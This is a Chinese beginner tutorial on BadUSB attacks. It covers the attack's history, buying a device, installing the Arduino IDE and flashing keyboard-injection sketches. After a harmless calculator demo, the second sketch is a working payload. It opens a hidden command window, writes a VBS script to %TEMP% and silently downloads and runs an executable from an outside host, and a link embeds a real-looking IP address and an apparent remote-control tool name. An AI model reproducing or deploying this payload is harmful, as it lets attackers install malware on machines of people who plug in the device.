IOT黑客入门篇之初探Badusb

2023-02-12,,,,

什么是Badusb

  BadUSB是一种使用带有恶意软件编程的USB设备的计算机安全攻击。例如,USB 闪存驱动器可以包含可编程的Intel 8051微控制器,该微控制器可以重新编程,将USB闪存驱动器变成恶意设备。
BadUSB 攻击是在 2014 年由Karsten Nohl、Sascha Krißler和Jakob Lell在一次Black Hat演讲中首次披露的。演讲两个月后,其他研究人员发布了可用于利用该漏洞的代码。2017年,USG加密狗1.0版本发布,其作用类似于硬件防火墙,旨在防止BadUSB风格的攻击。

购买一个Badusb

1.x宝

向Badusb写入恶意代码

安装烧录工具-Arduino

  Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境,主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了

直接在官网下载

下载完成用管理员身份运行,让他自动安装依赖

注意:如果无法安装,可以手动下载到C:\Users\admin\AppData\Local\Arduino15\staging\libraries这个目录下面打开即可。

然后插入Badusb,Arduino IDE选择Badusb的端口以及对应型号

弹一个计算器

#include <Keyboard.h>

void setup()
{
Keyboard.begin();
delay(200);
delay(100);
Keyboard.press(KEY_LEFT_GUI);
delay(100);
Keyboard.press('r');
delay(50);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(100);
Keyboard.println("calc");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop() {}

先编译
然后上传即可

其他payload

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(300);//延时
Keyboard.press(KEY_LEFT_GUI);//win 键
delay(500);
Keyboard.press('r');//r 键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"");
[//Keyboard.println](notion://keyboard.println/)("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("ECHO dim OBJsHELL >%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("ECHO SET OBJsHELL = WSCRIPT.CREATEoBJECT(\"WSCRIPT.SHELL\") >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("ECHO IrETURN = OBJsHELL.rUN(\"CMD /C ECHO WGET -uRI [HTTP://](http://106.75.249.46:9033/cOOOLIS-MS.EXE)x.x.x.x/sss.exe -oUTfILE %TEMP%/sss.exe | POWERSHELL - && %TEMP%/sss.exe \", 0, true) >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("%temp%/bad.vbs");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
} void loop() {
// put your main code here, to run repeatedly: }

参考:
维基百科

IOT黑客入门篇初探Badusb的相关教程结束。

《IOT黑客入门篇之初探Badusb.doc》

下载本文的Word格式文档,以方便收藏与打印。